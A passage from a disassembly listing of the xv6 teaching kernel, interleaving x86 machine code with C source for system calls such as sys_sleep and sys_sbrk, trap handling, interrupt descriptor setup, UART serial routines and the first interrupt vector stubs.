eb ff ff call 80103e00 <kill> } 801052f8: c9 leave 801052f9: c3 ret 801052fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return -1; 80105300: b8 ff ff ff ff mov $0xffffffff,%eax } 80105305: c9 leave 80105306: c3 ret 80105307: 89 f6 mov %esi,%esi 80105309: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105310 <sys_getpid>: int sys_getpid(void) { 80105310: 55 push %ebp 80105311: 89 e5 mov %esp,%ebp 80105313: 83 ec 08 sub $0x8,%esp return myproc()->pid; 80105316: e8 95 e3 ff ff call 801036b0 <myproc> 8010531b: 8b 40 10 mov 0x10(%eax),%eax } 8010531e: c9 leave 8010531f: c3 ret 80105320 <sys_sbrk>: int sys_sbrk(void) { 80105320: 55 push %ebp 80105321: 89 e5 mov %esp,%ebp 80105323: 53 push %ebx 80105324: 83 ec 24 sub $0x24,%esp int addr; int n; if(argint(0, &n) < 0) 80105327: 8d 45 f4 lea -0xc(%ebp),%eax 8010532a: 89 44 24 04 mov %eax,0x4(%esp) 8010532e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105335: e8 46 f2 ff ff call 80104580 <argint> 8010533a: 85 c0 test %eax,%eax 8010533c: 78 22 js 80105360 <sys_sbrk+0x40> return -1; addr = myproc()->sz; 8010533e: e8 6d e3 ff ff call 801036b0 <myproc> if(growproc(n) < 0) 80105343: 8b 55 f4 mov -0xc(%ebp),%edx addr = myproc()->sz; 80105346: 8b 18 mov (%eax),%ebx if(growproc(n) < 0) 80105348: 89 14 24 mov %edx,(%esp) 8010534b: e8 a0 e4 ff ff call 801037f0 <growproc> 80105350: 85 c0 test %eax,%eax 80105352: 78 0c js 80105360 <sys_sbrk+0x40> return -1; return addr; 80105354: 89 d8 mov %ebx,%eax } 80105356: 83 c4 24 add $0x24,%esp 80105359: 5b pop %ebx 8010535a: 5d pop %ebp 8010535b: c3 ret 8010535c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80105360: b8 ff ff ff ff mov $0xffffffff,%eax 80105365: eb ef jmp 80105356 <sys_sbrk+0x36> 80105367: 89 f6 mov %esi,%esi 80105369: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105370 <sys_sleep>: int sys_sleep(void) { 80105370: 55 push %ebp 80105371: 89 e5 mov %esp,%ebp 80105373: 53 push %ebx 80105374: 83 ec 24 sub $0x24,%esp int n; uint ticks0; if(argint(0, &n) < 0) 80105377: 8d 45 f4 lea -0xc(%ebp),%eax 8010537a: 89 44 24 04 mov %eax,0x4(%esp) 8010537e: c7 04 24 00 00 00 00 movl $0x0,(%esp) 80105385: e8 f6 f1 ff ff call 80104580 <argint> 8010538a: 85 c0 test %eax,%eax 8010538c: 78 7e js 8010540c <sys_sleep+0x9c> return -1; acquire(&tickslock); 8010538e: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105395: e8 b6 ed ff ff call 80104150 <acquire> ticks0 = ticks; while(ticks - ticks0 < n){ 8010539a: 8b 55 f4 mov -0xc(%ebp),%edx ticks0 = ticks; 8010539d: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx while(ticks - ticks0 < n){ 801053a3: 85 d2 test %edx,%edx 801053a5: 75 29 jne 801053d0 <sys_sleep+0x60> 801053a7: eb 4f jmp 801053f8 <sys_sleep+0x88> 801053a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&tickslock); return -1; } sleep(&ticks, &tickslock); 801053b0: c7 44 24 04 60 4c 11 movl $0x80114c60,0x4(%esp) 801053b7: 80 801053b8: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp) 801053bf: e8 4c e8 ff ff call 80103c10 <sleep> while(ticks - ticks0 < n){ 801053c4: a1 a0 54 11 80 mov 0x801154a0,%eax 801053c9: 29 d8 sub %ebx,%eax 801053cb: 3b 45 f4 cmp -0xc(%ebp),%eax 801053ce: 73 28 jae 801053f8 <sys_sleep+0x88> if(myproc()->killed){ 801053d0: e8 db e2 ff ff call 801036b0 <myproc> 801053d5: 8b 40 24 mov 0x24(%eax),%eax 801053d8: 85 c0 test %eax,%eax 801053da: 74 d4 je 801053b0 <sys_sleep+0x40> release(&tickslock); 801053dc: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801053e3: e8 58 ee ff ff call 80104240 <release> return -1; 801053e8: b8 ff ff ff ff mov $0xffffffff,%eax } release(&tickslock); return 0; } 801053ed: 83 c4 24 add $0x24,%esp 801053f0: 5b pop %ebx 801053f1: 5d pop %ebp 801053f2: c3 ret 801053f3: 90 nop 801053f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&tickslock); 801053f8: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 801053ff: e8 3c ee ff ff call 80104240 <release> } 80105404: 83 c4 24 add $0x24,%esp return 0; 80105407: 31 c0 xor %eax,%eax } 80105409: 5b pop %ebx 8010540a: 5d pop %ebp 8010540b: c3 ret return -1; 8010540c: b8 ff ff ff ff mov $0xffffffff,%eax 80105411: eb da jmp 801053ed <sys_sleep+0x7d> 80105413: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105419: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105420 <sys_uptime>: // return how many clock tick interrupts have occurred // since start. int sys_uptime(void) { 80105420: 55 push %ebp 80105421: 89 e5 mov %esp,%ebp 80105423: 53 push %ebx 80105424: 83 ec 14 sub $0x14,%esp uint xticks; acquire(&tickslock); 80105427: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 8010542e: e8 1d ed ff ff call 80104150 <acquire> xticks = ticks; 80105433: 8b 1d a0 54 11 80 mov 0x801154a0,%ebx release(&tickslock); 80105439: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105440: e8 fb ed ff ff call 80104240 <release> return xticks; } 80105445: 83 c4 14 add $0x14,%esp 80105448: 89 d8 mov %ebx,%eax 8010544a: 5b pop %ebx 8010544b: 5d pop %ebp 8010544c: c3 ret 8010544d <alltraps>: # vectors.S sends all traps here. .globl alltraps alltraps: # Build trap frame. pushl %ds 8010544d: 1e push %ds pushl %es 8010544e: 06 push %es pushl %fs 8010544f: 0f a0 push %fs pushl %gs 80105451: 0f a8 push %gs pushal 80105453: 60 pusha # Set up data segments. movw $(SEG_KDATA<<3), %ax 80105454: 66 b8 10 00 mov $0x10,%ax movw %ax, %ds 80105458: 8e d8 mov %eax,%ds movw %ax, %es 8010545a: 8e c0 mov %eax,%es # Call trap(tf), where tf=%esp pushl %esp 8010545c: 54 push %esp call trap 8010545d: e8 de 00 00 00 call 80105540 <trap> addl $4, %esp 80105462: 83 c4 04 add $0x4,%esp 80105465 <trapret>: # Return falls through to trapret... .globl trapret trapret: popal 80105465: 61 popa popl %gs 80105466: 0f a9 pop %gs popl %fs 80105468: 0f a1 pop %fs popl %es 8010546a: 07 pop %es popl %ds 8010546b: 1f pop %ds addl $0x8, %esp # trapno and errcode 8010546c: 83 c4 08 add $0x8,%esp iret 8010546f: cf iret 80105470 <tvinit>: void tvinit(void) { int i; for(i = 0; i < 256; i++) 80105470: 31 c0 xor %eax,%eax 80105472: 8d b6 00 00 00 00 lea 0x0(%esi),%esi SETGATE(idt[i], 0, SEG_KCODE<<3, vectors[i], 0); 80105478: 8b 14 85 08 a0 10 80 mov -0x7fef5ff8(,%eax,4),%edx 8010547f: b9 08 00 00 00 mov $0x8,%ecx 80105484: 66 89 0c c5 a2 4c 11 mov %cx,-0x7feeb35e(,%eax,8) 8010548b: 80 8010548c: c6 04 c5 a4 4c 11 80 movb $0x0,-0x7feeb35c(,%eax,8) 80105493: 00 80105494: c6 04 c5 a5 4c 11 80 movb $0x8e,-0x7feeb35b(,%eax,8) 8010549b: 8e 8010549c: 66 89 14 c5 a0 4c 11 mov %dx,-0x7feeb360(,%eax,8) 801054a3: 80 801054a4: c1 ea 10 shr $0x10,%edx 801054a7: 66 89 14 c5 a6 4c 11 mov %dx,-0x7feeb35a(,%eax,8) 801054ae: 80 for(i = 0; i < 256; i++) 801054af: 83 c0 01 add $0x1,%eax 801054b2: 3d 00 01 00 00 cmp $0x100,%eax 801054b7: 75 bf jne 80105478 <tvinit+0x8> { 801054b9: 55 push %ebp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801054ba: ba 08 00 00 00 mov $0x8,%edx { 801054bf: 89 e5 mov %esp,%ebp 801054c1: 83 ec 18 sub $0x18,%esp SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801054c4: a1 08 a1 10 80 mov 0x8010a108,%eax initlock(&tickslock, "time"); 801054c9: c7 44 24 04 41 76 10 movl $0x80107641,0x4(%esp) 801054d0: 80 801054d1: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) SETGATE(idt[T_SYSCALL], 1, SEG_KCODE<<3, vectors[T_SYSCALL], DPL_USER); 801054d8: 66 89 15 a2 4e 11 80 mov %dx,0x80114ea2 801054df: 66 a3 a0 4e 11 80 mov %ax,0x80114ea0 801054e5: c1 e8 10 shr $0x10,%eax 801054e8: c6 05 a4 4e 11 80 00 movb $0x0,0x80114ea4 801054ef: c6 05 a5 4e 11 80 ef movb $0xef,0x80114ea5 801054f6: 66 a3 a6 4e 11 80 mov %ax,0x80114ea6 initlock(&tickslock, "time"); 801054fc: e8 5f eb ff ff call 80104060 <initlock> } 80105501: c9 leave 80105502: c3 ret 80105503: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105510 <idtinit>: void idtinit(void) { 80105510: 55 push %ebp pd[0] = size-1; 80105511: b8 ff 07 00 00 mov $0x7ff,%eax 80105516: 89 e5 mov %esp,%ebp 80105518: 83 ec 10 sub $0x10,%esp 8010551b: 66 89 45 fa mov %ax,-0x6(%ebp) pd[1] = (uint)p; 8010551f: b8 a0 4c 11 80 mov $0x80114ca0,%eax 80105524: 66 89 45 fc mov %ax,-0x4(%ebp) pd[2] = (uint)p >> 16; 80105528: c1 e8 10 shr $0x10,%eax 8010552b: 66 89 45 fe mov %ax,-0x2(%ebp) asm volatile("lidt (%0)" : : "r" (pd)); 8010552f: 8d 45 fa lea -0x6(%ebp),%eax 80105532: 0f 01 18 lidtl (%eax) lidt(idt, sizeof(idt)); } 80105535: c9 leave 80105536: c3 ret 80105537: 89 f6 mov %esi,%esi 80105539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80105540 <trap>: //PAGEBREAK: 41 void trap(struct trapframe *tf) { 80105540: 55 push %ebp 80105541: 89 e5 mov %esp,%ebp 80105543: 57 push %edi 80105544: 56 push %esi 80105545: 53 push %ebx 80105546: 83 ec 3c sub $0x3c,%esp 80105549: 8b 5d 08 mov 0x8(%ebp),%ebx if(tf->trapno == T_SYSCALL){ 8010554c: 8b 43 30 mov 0x30(%ebx),%eax 8010554f: 83 f8 40 cmp $0x40,%eax 80105552: 0f 84 a0 01 00 00 je 801056f8 <trap+0x1b8> if(myproc()->killed) exit(); return; } switch(tf->trapno){ 80105558: 83 e8 20 sub $0x20,%eax 8010555b: 83 f8 1f cmp $0x1f,%eax 8010555e: 77 08 ja 80105568 <trap+0x28> 80105560: ff 24 85 e8 76 10 80 jmp *-0x7fef8918(,%eax,4) 80105567: 90 nop lapiceoi(); break; //PAGEBREAK: 13 default: if(myproc() == 0 || (tf->cs&3) == 0){ 80105568: e8 43 e1 ff ff call 801036b0 <myproc> 8010556d: 85 c0 test %eax,%eax 8010556f: 90 nop 80105570: 0f 84 fa 01 00 00 je 80105770 <trap+0x230> 80105576: f6 43 3c 03 testb $0x3,0x3c(%ebx) 8010557a: 0f 84 f0 01 00 00 je 80105770 <trap+0x230> static inline uint rcr2(void) { uint val; asm volatile("movl %%cr2,%0" : "=r" (val)); 80105580: 0f 20 d1 mov %cr2,%ecx cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", tf->trapno, cpuid(), tf->eip, rcr2()); panic("trap"); } // In user space, assume process misbehaved. cprintf("pid %d %s: trap %d err %d on cpu %d " 80105583: 8b 53 38 mov 0x38(%ebx),%edx 80105586: 89 4d d8 mov %ecx,-0x28(%ebp) 80105589: 89 55 dc mov %edx,-0x24(%ebp) 8010558c: e8 ff e0 ff ff call 80103690 <cpuid> 80105591: 8b 73 30 mov 0x30(%ebx),%esi 80105594: 89 c7 mov %eax,%edi 80105596: 8b 43 34 mov 0x34(%ebx),%eax 80105599: 89 45 e4 mov %eax,-0x1c(%ebp) "eip 0x%x addr 0x%x--kill proc\n", myproc()->pid, myproc()->name, tf->trapno, 8010559c: e8 0f e1 ff ff call 801036b0 <myproc> 801055a1: 89 45 e0 mov %eax,-0x20(%ebp) 801055a4: e8 07 e1 ff ff call 801036b0 <myproc> cprintf("pid %d %s: trap %d err %d on cpu %d " 801055a9: 8b 55 dc mov -0x24(%ebp),%edx 801055ac: 89 74 24 0c mov %esi,0xc(%esp) myproc()->pid, myproc()->name, tf->trapno, 801055b0: 8b 75 e0 mov -0x20(%ebp),%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 801055b3: 8b 4d d8 mov -0x28(%ebp),%ecx 801055b6: 89 7c 24 14 mov %edi,0x14(%esp) 801055ba: 89 54 24 18 mov %edx,0x18(%esp) 801055be: 8b 55 e4 mov -0x1c(%ebp),%edx myproc()->pid, myproc()->name, tf->trapno, 801055c1: 83 c6 6c add $0x6c,%esi cprintf("pid %d %s: trap %d err %d on cpu %d " 801055c4: 89 4c 24 1c mov %ecx,0x1c(%esp) myproc()->pid, myproc()->name, tf->trapno, 801055c8: 89 74 24 08 mov %esi,0x8(%esp) cprintf("pid %d %s: trap %d err %d on cpu %d " 801055cc: 89 54 24 10 mov %edx,0x10(%esp) 801055d0: 8b 40 10 mov 0x10(%eax),%eax 801055d3: c7 04 24 a4 76 10 80 movl $0x801076a4,(%esp) 801055da: 89 44 24 04 mov %eax,0x4(%esp) 801055de: e8 6d b0 ff ff call 80100650 <cprintf> tf->err, cpuid(), tf->eip, rcr2()); myproc()->killed = 1; 801055e3: e8 c8 e0 ff ff call 801036b0 <myproc> 801055e8: c7 40 24 01 00 00 00 movl $0x1,0x24(%eax) 801055ef: 90 nop } // Force process exit if it has been killed and is in user space. // (If it is still executing in the kernel, let it keep running // until it gets to the regular system call return.) if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 801055f0: e8 bb e0 ff ff call 801036b0 <myproc> 801055f5: 85 c0 test %eax,%eax 801055f7: 74 0c je 80105605 <trap+0xc5> 801055f9: e8 b2 e0 ff ff call 801036b0 <myproc> 801055fe: 8b 50 24 mov 0x24(%eax),%edx 80105601: 85 d2 test %edx,%edx 80105603: 75 4b jne 80105650 <trap+0x110> exit(); // Force process to give up CPU on clock tick. // If interrupts were on while locks held, would need to check nlock. if(myproc() && myproc()->state == RUNNING && 80105605: e8 a6 e0 ff ff call 801036b0 <myproc> 8010560a: 85 c0 test %eax,%eax 8010560c: 74 0d je 8010561b <trap+0xdb> 8010560e: 66 90 xchg %ax,%ax 80105610: e8 9b e0 ff ff call 801036b0 <myproc> 80105615: 83 78 0c 04 cmpl $0x4,0xc(%eax) 80105619: 74 4d je 80105668 <trap+0x128> tf->trapno == T_IRQ0+IRQ_TIMER) yield(); // Check if the process has been killed since we yielded if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 8010561b: e8 90 e0 ff ff call 801036b0 <myproc> 80105620: 85 c0 test %eax,%eax 80105622: 74 1d je 80105641 <trap+0x101> 80105624: e8 87 e0 ff ff call 801036b0 <myproc> 80105629: 8b 40 24 mov 0x24(%eax),%eax 8010562c: 85 c0 test %eax,%eax 8010562e: 74 11 je 80105641 <trap+0x101> 80105630: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105634: 83 e0 03 and $0x3,%eax 80105637: 66 83 f8 03 cmp $0x3,%ax 8010563b: 0f 84 e8 00 00 00 je 80105729 <trap+0x1e9> exit(); } 80105641: 83 c4 3c add $0x3c,%esp 80105644: 5b pop %ebx 80105645: 5e pop %esi 80105646: 5f pop %edi 80105647: 5d pop %ebp 80105648: c3 ret 80105649: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->killed && (tf->cs&3) == DPL_USER) 80105650: 0f b7 43 3c movzwl 0x3c(%ebx),%eax 80105654: 83 e0 03 and $0x3,%eax 80105657: 66 83 f8 03 cmp $0x3,%ax 8010565b: 75 a8 jne 80105605 <trap+0xc5> exit(); 8010565d: e8 4e e4 ff ff call 80103ab0 <exit> 80105662: eb a1 jmp 80105605 <trap+0xc5> 80105664: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(myproc() && myproc()->state == RUNNING && 80105668: 83 7b 30 20 cmpl $0x20,0x30(%ebx) 8010566c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80105670: 75 a9 jne 8010561b <trap+0xdb> yield(); 80105672: e8 59 e5 ff ff call 80103bd0 <yield> 80105677: eb a2 jmp 8010561b <trap+0xdb> 80105679: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(cpuid() == 0){ 80105680: e8 0b e0 ff ff call 80103690 <cpuid> 80105685: 85 c0 test %eax,%eax 80105687: 0f 84 b3 00 00 00 je 80105740 <trap+0x200> 8010568d: 8d 76 00 lea 0x0(%esi),%esi lapiceoi(); 80105690: e8 fb d0 ff ff call 80102790 <lapiceoi> break; 80105695: e9 56 ff ff ff jmp 801055f0 <trap+0xb0> 8010569a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi kbdintr(); 801056a0: e8 3b cf ff ff call 801025e0 <kbdintr> lapiceoi(); 801056a5: e8 e6 d0 ff ff call 80102790 <lapiceoi> break; 801056aa: e9 41 ff ff ff jmp 801055f0 <trap+0xb0> 801056af: 90 nop uartintr(); 801056b0: e8 1b 02 00 00 call 801058d0 <uartintr> lapiceoi(); 801056b5: e8 d6 d0 ff ff call 80102790 <lapiceoi> break; 801056ba: e9 31 ff ff ff jmp 801055f0 <trap+0xb0> 801056bf: 90 nop cprintf("cpu%d: spurious interrupt at %x:%x\n", 801056c0: 8b 7b 38 mov 0x38(%ebx),%edi 801056c3: 0f b7 73 3c movzwl 0x3c(%ebx),%esi 801056c7: e8 c4 df ff ff call 80103690 <cpuid> 801056cc: c7 04 24 4c 76 10 80 movl $0x8010764c,(%esp) 801056d3: 89 7c 24 0c mov %edi,0xc(%esp) 801056d7: 89 74 24 08 mov %esi,0x8(%esp) 801056db: 89 44 24 04 mov %eax,0x4(%esp) 801056df: e8 6c af ff ff call 80100650 <cprintf> lapiceoi(); 801056e4: e8 a7 d0 ff ff call 80102790 <lapiceoi> break; 801056e9: e9 02 ff ff ff jmp 801055f0 <trap+0xb0> 801056ee: 66 90 xchg %ax,%ax ideintr(); 801056f0: e8 9b c9 ff ff call 80102090 <ideintr> 801056f5: eb 96 jmp 8010568d <trap+0x14d> 801056f7: 90 nop 801056f8: 90 nop 801056f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed) 80105700: e8 ab df ff ff call 801036b0 <myproc> 80105705: 8b 70 24 mov 0x24(%eax),%esi 80105708: 85 f6 test %esi,%esi 8010570a: 75 2c jne 80105738 <trap+0x1f8> myproc()->tf = tf; 8010570c: e8 9f df ff ff call 801036b0 <myproc> 80105711: 89 58 18 mov %ebx,0x18(%eax) syscall(); 80105714: e8 37 ef ff ff call 80104650 <syscall> if(myproc()->killed) 80105719: e8 92 df ff ff call 801036b0 <myproc> 8010571e: 8b 48 24 mov 0x24(%eax),%ecx 80105721: 85 c9 test %ecx,%ecx 80105723: 0f 84 18 ff ff ff je 80105641 <trap+0x101> } 80105729: 83 c4 3c add $0x3c,%esp 8010572c: 5b pop %ebx 8010572d: 5e pop %esi 8010572e: 5f pop %edi 8010572f: 5d pop %ebp exit(); 80105730: e9 7b e3 ff ff jmp 80103ab0 <exit> 80105735: 8d 76 00 lea 0x0(%esi),%esi exit(); 80105738: e8 73 e3 ff ff call 80103ab0 <exit> 8010573d: eb cd jmp 8010570c <trap+0x1cc> 8010573f: 90 nop acquire(&tickslock); 80105740: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105747: e8 04 ea ff ff call 80104150 <acquire> wakeup(&ticks); 8010574c: c7 04 24 a0 54 11 80 movl $0x801154a0,(%esp) ticks++; 80105753: 83 05 a0 54 11 80 01 addl $0x1,0x801154a0 wakeup(&ticks); 8010575a: e8 41 e6 ff ff call 80103da0 <wakeup> release(&tickslock); 8010575f: c7 04 24 60 4c 11 80 movl $0x80114c60,(%esp) 80105766: e8 d5 ea ff ff call 80104240 <release> 8010576b: e9 1d ff ff ff jmp 8010568d <trap+0x14d> 80105770: 0f 20 d7 mov %cr2,%edi cprintf("unexpected trap %d from cpu %d eip %x (cr2=0x%x)\n", 80105773: 8b 73 38 mov 0x38(%ebx),%esi 80105776: e8 15 df ff ff call 80103690 <cpuid> 8010577b: 89 7c 24 10 mov %edi,0x10(%esp) 8010577f: 89 74 24 0c mov %esi,0xc(%esp) 80105783: 89 44 24 08 mov %eax,0x8(%esp) 80105787: 8b 43 30 mov 0x30(%ebx),%eax 8010578a: c7 04 24 70 76 10 80 movl $0x80107670,(%esp) 80105791: 89 44 24 04 mov %eax,0x4(%esp) 80105795: e8 b6 ae ff ff call 80100650 <cprintf> panic("trap"); 8010579a: c7 04 24 46 76 10 80 movl $0x80107646,(%esp) 801057a1: e8 ba ab ff ff call 80100360 <panic> 801057a6: 66 90 xchg %ax,%ax 801057a8: 66 90 xchg %ax,%ax 801057aa: 66 90 xchg %ax,%ax 801057ac: 66 90 xchg %ax,%ax 801057ae: 66 90 xchg %ax,%ax 801057b0 <uartgetc>: } static int uartgetc(void) { if(!uart) 801057b0: a1 bc a5 10 80 mov 0x8010a5bc,%eax { 801057b5: 55 push %ebp 801057b6: 89 e5 mov %esp,%ebp if(!uart) 801057b8: 85 c0 test %eax,%eax 801057ba: 74 14 je 801057d0 <uartgetc+0x20> asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 801057bc: ba fd 03 00 00 mov $0x3fd,%edx 801057c1: ec in (%dx),%al return -1; if(!(inb(COM1+5) & 0x01)) 801057c2: a8 01 test $0x1,%al 801057c4: 74 0a je 801057d0 <uartgetc+0x20> 801057c6: b2 f8 mov $0xf8,%dl 801057c8: ec in (%dx),%al return -1; return inb(COM1+0); 801057c9: 0f b6 c0 movzbl %al,%eax } 801057cc: 5d pop %ebp 801057cd: c3 ret 801057ce: 66 90 xchg %ax,%ax return -1; 801057d0: b8 ff ff ff ff mov $0xffffffff,%eax } 801057d5: 5d pop %ebp 801057d6: c3 ret 801057d7: 89 f6 mov %esi,%esi 801057d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801057e0 <uartputc>: if(!uart) 801057e0: a1 bc a5 10 80 mov 0x8010a5bc,%eax 801057e5: 85 c0 test %eax,%eax 801057e7: 74 3f je 80105828 <uartputc+0x48> { 801057e9: 55 push %ebp 801057ea: 89 e5 mov %esp,%ebp 801057ec: 56 push %esi 801057ed: be fd 03 00 00 mov $0x3fd,%esi 801057f2: 53 push %ebx if(!uart) 801057f3: bb 80 00 00 00 mov $0x80,%ebx { 801057f8: 83 ec 10 sub $0x10,%esp 801057fb: eb 14 jmp 80105811 <uartputc+0x31> 801057fd: 8d 76 00 lea 0x0(%esi),%esi microdelay(10); 80105800: c7 04 24 0a 00 00 00 movl $0xa,(%esp) 80105807: e8 a4 cf ff ff call 801027b0 <microdelay> for(i = 0; i < 128 && !(inb(COM1+5) & 0x20); i++) 8010580c: 83 eb 01 sub $0x1,%ebx 8010580f: 74 07 je 80105818 <uartputc+0x38> 80105811: 89 f2 mov %esi,%edx 80105813: ec in (%dx),%al 80105814: a8 20 test $0x20,%al 80105816: 74 e8 je 80105800 <uartputc+0x20> outb(COM1+0, c); 80105818: 0f b6 45 08 movzbl 0x8(%ebp),%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010581c: ba f8 03 00 00 mov $0x3f8,%edx 80105821: ee out %al,(%dx) } 80105822: 83 c4 10 add $0x10,%esp 80105825: 5b pop %ebx 80105826: 5e pop %esi 80105827: 5d pop %ebp 80105828: f3 c3 repz ret 8010582a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80105830 <uartinit>: { 80105830: 55 push %ebp 80105831: 31 c9 xor %ecx,%ecx 80105833: 89 e5 mov %esp,%ebp 80105835: 89 c8 mov %ecx,%eax 80105837: 57 push %edi 80105838: bf fa 03 00 00 mov $0x3fa,%edi 8010583d: 56 push %esi 8010583e: 89 fa mov %edi,%edx 80105840: 53 push %ebx 80105841: 83 ec 1c sub $0x1c,%esp 80105844: ee out %al,(%dx) 80105845: be fb 03 00 00 mov $0x3fb,%esi 8010584a: b8 80 ff ff ff mov $0xffffff80,%eax 8010584f: 89 f2 mov %esi,%edx 80105851: ee out %al,(%dx) 80105852: b8 0c 00 00 00 mov $0xc,%eax 80105857: b2 f8 mov $0xf8,%dl 80105859: ee out %al,(%dx) 8010585a: bb f9 03 00 00 mov $0x3f9,%ebx 8010585f: 89 c8 mov %ecx,%eax 80105861: 89 da mov %ebx,%edx 80105863: ee out %al,(%dx) 80105864: b8 03 00 00 00 mov $0x3,%eax 80105869: 89 f2 mov %esi,%edx 8010586b: ee out %al,(%dx) 8010586c: b2 fc mov $0xfc,%dl 8010586e: 89 c8 mov %ecx,%eax 80105870: ee out %al,(%dx) 80105871: b8 01 00 00 00 mov $0x1,%eax 80105876: 89 da mov %ebx,%edx 80105878: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80105879: b2 fd mov $0xfd,%dl 8010587b: ec in (%dx),%al if(inb(COM1+5) == 0xFF) 8010587c: 3c ff cmp $0xff,%al 8010587e: 74 42 je 801058c2 <uartinit+0x92> uart = 1; 80105880: c7 05 bc a5 10 80 01 movl $0x1,0x8010a5bc 80105887: 00 00 00 8010588a: 89 fa mov %edi,%edx 8010588c: ec in (%dx),%al 8010588d: b2 f8 mov $0xf8,%dl 8010588f: ec in (%dx),%al ioapicenable(IRQ_COM1, 0); 80105890: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80105897: 00 for(p="xv6...\n"; *p; p++) 80105898: bb 68 77 10 80 mov $0x80107768,%ebx ioapicenable(IRQ_COM1, 0); 8010589d: c7 04 24 04 00 00 00 movl $0x4,(%esp) 801058a4: e8 17 ca ff ff call 801022c0 <ioapicenable> for(p="xv6...\n"; *p; p++) 801058a9: b8 78 00 00 00 mov $0x78,%eax 801058ae: 66 90 xchg %ax,%ax uartputc(*p); 801058b0: 89 04 24 mov %eax,(%esp) for(p="xv6...\n"; *p; p++) 801058b3: 83 c3 01 add $0x1,%ebx uartputc(*p); 801058b6: e8 25 ff ff ff call 801057e0 <uartputc> for(p="xv6...\n"; *p; p++) 801058bb: 0f be 03 movsbl (%ebx),%eax 801058be: 84 c0 test %al,%al 801058c0: 75 ee jne 801058b0 <uartinit+0x80> } 801058c2: 83 c4 1c add $0x1c,%esp 801058c5: 5b pop %ebx 801058c6: 5e pop %esi 801058c7: 5f pop %edi 801058c8: 5d pop %ebp 801058c9: c3 ret 801058ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801058d0 <uartintr>: void uartintr(void) { 801058d0: 55 push %ebp 801058d1: 89 e5 mov %esp,%ebp 801058d3: 83 ec 18 sub $0x18,%esp consoleintr(uartgetc); 801058d6: c7 04 24 b0 57 10 80 movl $0x801057b0,(%esp) 801058dd: e8 ce ae ff ff call 801007b0 <consoleintr> } 801058e2: c9 leave 801058e3: c3 ret 801058e4 <vector0>: # generated by vectors.pl - do not edit # handlers .globl alltraps .globl vector0 vector0: pushl $0 801058e4: 6a 00 push $0x0 pushl $0 801058e6: 6a 00 push $0x0 jmp alltraps 801058e8: e9 60 fb ff ff jmp 8010544d <alltraps> 801058ed <vector1>: .globl vector1 vector1: pushl $0 801058ed: 6a 00 push $0x0 pushl $1 801058ef: 6a 01 push $0x1 jmp alltraps 801058f1: e9 57 fb ff ff jmp 8010544d <alltraps> 801058f6 <vector2>: .globl vector2 vector2: pushl $0 801058f6: 6a 00 push $0x0 pushl $2 801058f8: 6a 02 push $0x2 jmp alltraps 801058fa: e9 4e fb ff ff jmp 8010544d <alltraps> 801058ff <vector3>: .globl vector3 vector3: pushl $0 801058ff: 6a 00 push $0x0 pushl $3 80105901: 6a 03 push $0x3 jmp alltraps 80105903: e9 45 fb ff ff jmp 8010544d <alltraps> 80105908 <vector4>: .globl vector4 vector4: pushl $0 80105908: 6a 00 push $0x0 pushl $4 8010590a: 6a 04 push $0x4 jmp alltraps 8010590c: e9 3c fb ff ff jmp 8010544d <alltraps> 80105911 <vector5>: .globl vector5 vector5: pushl $0 80105911: 6a 00 push $0x0 pushl $5 80105913: 6a 05 push $0x5 jmp alltraps 80105915: e9 33 fb ff ff jmp 8010544d <alltraps> 8010591a <vector6>: .globl vector6 vector6: pushl $0 8010591a: 6a 00 push $0x0 pushl $6 8010591c: 6a 06 push $0x6 jmp alltraps 8010591e: e9 2a fb ff ff jmp 8010544d <alltraps> 80105923 <vector7>: .globl vector7 vector7: pushl $0 80105923: 6a 00 push $0x0 pushl $7 80105925: 6a 07 push $0x7 jmp alltraps 80105927: e9 21 fb ff ff jmp 8010544d <alltraps> 8010592c <vector8>: .globl vector8 vector8: pushl $8 8010592c: 6a 08 push $0x8 jmp alltraps 8010592e: e9 1a fb ff ff 